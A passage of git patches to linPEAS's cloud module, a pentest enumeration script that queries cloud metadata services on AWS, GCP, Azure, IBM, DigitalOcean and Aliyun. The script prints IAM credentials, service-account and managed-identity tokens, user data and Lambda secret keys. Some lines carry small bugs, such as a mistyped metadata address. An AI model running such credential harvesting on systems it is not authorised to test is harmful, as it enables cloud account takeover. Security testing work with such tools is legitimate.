"$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") echo " ==============" done @@ -219,7 +219,7 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then print_3title "Possbile admin ssh Public keys" for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do echo " Name: $key" - echo " Key: "$(eval $gcp_req "http://100.100.100.200/latest/meta-data/public-keys/$keyopenssh-key") + echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key") echo " ==============" done From edd8e3a397c2dc3826404bd8479548ab8a4d7a0e Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 22 Jan 2024 22:04:21 +0800 Subject: [PATCH 15/69] feat: instance name and type --- linPEAS/builder/linpeas_parts/3_cloud.sh | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 42dc056..8612a64 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -172,7 +172,12 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) [ "$i_hostname" ] && echo "Hostname: $i_hostname" i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id) - [ "i_instance_id" ] && echo "Instance ID: $i_instance_id" + [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" + # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId + i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name) + [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" + i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type) + [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id) [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account" i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id) From 4260e06722991832797af7278fa8074ff09d7071 Mon Sep 17 00:00:00 2001 From: shadowabi <50265741+shadowabi@users.noreply.github.com> Date: Thu, 25 Jan 2024 11:49:20 +0800 Subject: [PATCH 16/69] add Tencent CVM metadata search --- linPEAS/builder/linpeas_parts/3_cloud.sh | 1283 ++++++++++++---------- 1 file changed, 681 insertions(+), 602 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 8612a64..f3ae3f6 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -1,602 +1,681 @@ -########################################### -#-----------) Cloud functions (-----------# -########################################### - -GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" -GCP_BAD_SCOPES="/cloud-platform|/compute" - -exec_with_jq(){ - if [ "$(command -v jq)" ]; then - $@ | jq 2>/dev/null; - if ! [ $? -eq 0 ]; then - $@; - fi - else - $@; - fi -} - -check_gcp(){ - is_gcp="No" - if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then - is_gcp="Yes" - fi -} - -check_do(){ - is_do="No" - if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then - is_do="Yes" - fi -} - -check_aliyun_ecs () { - is_aliyun_ecs="No" - if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then - is_aliyun_ecs="Yes" - fi -} - -check_ibm_vm(){ - is_ibm_vm="No" - if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then - curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1 - if [ "$?" -eq 0 ]; then - IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) ) - is_ibm_vm="Yes" - fi - fi -} - -check_aws_ecs(){ - is_aws_ecs="No" - if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then - is_aws_ecs="Yes"; - aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; - aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - - elif (env | grep -q ECS_CONTAINER_METADATA_URI); then - is_aws_ecs="Yes"; - aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; - aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - - elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then - is_aws_ecs="Yes"; - fi - - if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then - aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - fi -} - -check_aws_ec2(){ - is_aws_ec2="No" - is_aws_ec2_beanstalk="No" - - if [ -d "/var/log/amazon/" ]; then - is_aws_ec2="Yes" - EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) - - else - EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) - if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then - is_aws_ec2="Yes" - fi - fi - - if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then - is_aws_ec2_beanstalk="Yes" - fi -} - -check_aws_lambda(){ - is_aws_lambda="No" - - if (env | grep -q AWS_LAMBDA_); then - is_aws_lambda="Yes" - fi -} - -check_aws_codebuild(){ - is_aws_codebuild="No" - - if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then - is_aws_codebuild="Yes" - fi -} - -check_az_vm(){ - is_az_vm="No" - - if [ -d "/var/log/azure/" ]; then - is_az_vm="Yes" - - elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then - is_az_vm="Yes" - fi -} - -check_az_app(){ - is_az_app="No" - - if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then - is_az_app="Yes" - fi -} - - -check_gcp -print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_ecs -print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_ec2 -print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_lambda -print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_codebuild -print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_do -print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aliyun_ecs -print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_ibm_vm -print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_az_vm -print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_az_app -print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," - -echo "" - -if [ "$is_aliyun_ecs" = "Yes" ]; then - aliyun_req="" - aliyun_token="" - if [ "$(command -v curl)" ]; then - aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000") - aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"' - elif [ "$(command -v wget)" ]; then - aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000") - aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$aliyun_token" ]; then - print_2title "Aliyun ECS Enumeration" - print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" - # Todo: print_info "Hacktricks Documents needs to be updated" - - echo "" - print_3title "Instance Info" - i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) - [ "$i_hostname" ] && echo "Hostname: $i_hostname" - i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id) - [ "$i_instance_id" ] && echo "Instance ID: $i_instance_id" - # no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId - i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name) - [ "$i_instance_name" ] && echo "Instance Name: $i_instance_name" - i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type) - [ "$i_instance_type" ] && echo "Instance Type: $i_instance_type" - i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id) - [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account" - i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id) - [ "$i_region_id" ] && echo "Region ID: $i_region_id" - i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) - [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" - - echo "" - print_3title "Network Info" - i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4) - [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4" - i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4) - [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4" - net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) - [ "$net_dns" ] && echo "DNS: $net_dns" - - echo "========" - for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do - echo " Mac: $mac" - echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id) - echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask) - echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) - echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) - echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) - echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id) - echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block) - echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block) - echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s) - echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) - echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) - echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) - echo "=======" - done - - echo "" - print_3title "Service account " - for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do - echo " Name: $sa" - echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") - echo " ==============" - done - - echo "" - print_3title "Possbile admin ssh Public keys" - for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do - echo " Name: $key" - echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key") - echo " ==============" - done - - - fi -fi - -if [ "$is_gcp" = "Yes" ]; then - gcp_req="" - if [ "$(command -v curl)" ]; then - gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"' - elif [ "$(command -v wget)" ]; then - gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - # GCP Enumeration - if [ "$gcp_req" ]; then - print_2title "Google Cloud Platform Enumeration" - print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" - - ## GC Project Info - p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') - [ "$p_id" ] && echo "Project-ID: $p_id" - p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id') - [ "$p_num" ] && echo "Project Number: $p_num" - pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys') - [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" - p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') - [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" - - # OSLogin Info - osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) - [ "$osl_u" ] && echo "OSLogin users: $osl_u" - osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups) - [ "$osl_g" ] && echo "OSLogin Groups: $osl_g" - osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys) - [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" - osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) - [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" - - # Instance Info - inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) - [ "$inst_d" ] && echo "Instance Description: " - inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname) - [ "$inst_hostn" ] && echo "Hostname: $inst_hostn" - inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id) - [ "$inst_id" ] && echo "Instance ID: $inst_id" - inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image) - [ "$inst_img" ] && echo "Instance Image: $inst_img" - inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type) - [ "$inst_mt" ] && echo "Machine Type: $inst_mt" - inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name) - [ "$inst_n" ] && echo "Instance Name: $inst_n" - inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags) - [ "$inst_tag" ] && echo "Instance tags: $inst_tag" - inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) - [ "$inst_zone" ] && echo "Zone: $inst_zone" - - inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") - [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" - inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") - [ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name" - inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin") - [ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e" - inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels") - [ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab" - inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig") - [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" - inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") - [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" - - echo "" - print_3title "Interfaces" - for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do - echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip") - echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") - echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway") - echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") - echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network") - echo " ============== " - done - - echo "" - print_3title "User Data" - echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") - echo "" - - echo "" - print_3title "Service Accounts" - for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do - echo " Name: $sa" - echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email") - echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases") - echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity") - echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g" - echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token") - echo " ============== " - done - fi -fi - -# AWS ECS Enumeration -if [ "$is_aws_ecs" = "Yes" ]; then - print_2title "AWS ECS Enumeration" - - aws_ecs_req="" - if [ "$(command -v curl)" ]; then - aws_ecs_req='curl -s -f' - elif [ "$(command -v wget)" ]; then - aws_ecs_req='wget -q -O -' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$aws_ecs_metadata_uri" ]; then - print_3title "Container Info" - exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" - echo "" - - print_3title "Task Info" - exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task" - echo "" - else - echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" - fi - - if [ "$aws_ecs_service_account_uri" ]; then - print_3title "IAM Role" - exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" - echo "" - else - echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" - fi -fi - -# AWS EC2 Enumeration -if [ "$is_aws_ec2" = "Yes" ]; then - print_2title "AWS EC2 Enumeration" - - HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" - URL="http://169.254.169.254/latest/meta-data" - - aws_req="" - if [ "$(command -v curl)" ]; then - aws_req="curl -s -f -H '$HEADER'" - elif [ "$(command -v wget)" ]; then - aws_req="wget -q -O - -H '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$aws_req" ]; then - printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" - printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" - printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" - printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" - printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" - printf "region: "; eval $aws_req "$URL/placement/region"; echo "" - - echo "" - print_3title "Account Info" - exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" - - echo "" - print_3title "Network Info" - for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do - echo "Mac: $mac" - printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" - printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" - printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" - echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" - printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" - echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" - printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" - echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" - echo "" - done - - echo "" - print_3title "IAM Role" - exec_with_jq eval $aws_req "$URL/iam/info"; echo "" - for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do - echo "Role: $role" - exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo "" - echo "" - done - - echo "" - print_3title "User Data" - eval $aws_req "http://169.254.169.254/latest/user-data"; echo "" - - echo "" - echo "EC2 Security Credentials" - exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" - - print_3title "SSM Runnig" - ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED}," - fi -fi - -# AWS Lambda Enumeration -if [ "$is_aws_lambda" = "Yes" ]; then - print_2title "AWS Lambda Enumeration" - printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME - printf "Region: "; env | grep AWS_REGION - printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY - printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID - printf "Session token: "; env | grep AWS_SESSION_TOKEN - printf "Security token: "; env | grep AWS_SECURITY_TOKEN - printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API - printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") -fi - -# AWS Codebuild Enumeration -if [ "$is_aws_codebuild" = "Yes" ]; then - print_2title "AWS Codebuild Enumeration" - - aws_req="" - if [ "$(command -v curl)" ]; then - aws_req="curl -s -f" - elif [ "$(command -v wget)" ]; then - aws_req="wget -q -O -" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - echo "The addresses are in /codebuild/output/tmp/env.sh" - fi - - if [ "$aws_req" ]; then - print_3title "Credentials" - CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2) - URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig - exec_with_jq eval $aws_req "$URL_CREDS"; echo "" - - print_3title "Container Info" - METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2) - exec_with_jq eval $aws_req "$METADATA_URL"; echo "" - fi -fi - -# DO Droplet Enumeration -if [ "$is_do" = "Yes" ]; then - print_2title "DO Droplet Enumeration" - - do_req="" - if [ "$(command -v curl)" ]; then - do_req='curl -s -f ' - elif [ "$(command -v wget)" ]; then - do_req='wget -q -O - ' - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$do_req" ]; then - URL="http://169.254.169.254/metadata" - printf "Id: "; eval $do_req "$URL/v1/id"; echo "" - printf "Region: "; eval $do_req "$URL/v1/region"; echo "" - printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo "" - printf "User data: "; eval $do_req "$URL/v1/user-data"; echo "" - printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo "" - printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces"; - printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip"; - printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip"; - printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags"; - printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; - fi -fi - -# IBM Cloud Enumeration -if [ "$is_ibm_vm" = "Yes" ]; then - print_2title "IBM Cloud Enumeration" - - if ! [ "$IBM_TOKEN" ]; then - echo "Couldn't get the metadata token:(" - - else - TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" - ACCEPT_HEADER="Accept: application/json" - URL="http://169.254.169.254/latest/meta-data" - - ibm_req="" - if [ "$(command -v curl)" ]; then - ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" - elif [ "$(command -v wget)" ]; then - ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$ibm_req" ]; then - print_3title "Instance Details" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" - - print_3title "Keys and User data" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" - - print_3title "Placement Groups" - exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" - - print_3title "IAM credentials" - exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" - fi - fi - -fi - -# Azure VM Enumeration -if [ "$is_az_vm" = "Yes" ]; then - print_2title "Azure VM Enumeration" - - HEADER="Metadata:true" - URL="http://169.254.169.254/metadata" - API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions - - az_req="" - if [ "$(command -v curl)" ]; then - az_req="curl -s -f -H '$HEADER'" - elif [ "$(command -v wget)" ]; then - az_req="wget -q -O - -H '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$az_req" ]; then - print_3title "Instance details" - exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION" - - print_3title "Load Balancer details" - exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION" - - print_3title "Management token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/" - - print_3title "Graph token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" - - print_3title "Vault token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/" - - print_3title "Storage token" - exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/" - fi -fi - -if [ "$check_az_app" = "Yes" ]; then - print_2title "Azure App Service Enumeration" - echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)" - - HEADER="secret:$IDENTITY_HEADER" - - az_req="" - if [ "$(command -v curl)" ]; then - az_req="curl -s -f -H '$HEADER'" - elif [ "$(command -v wget)" ]; then - az_req="wget -q -O - -H '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi - - if [ "$az_req" ]; then - print_3title "Management token" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" - - print_3title 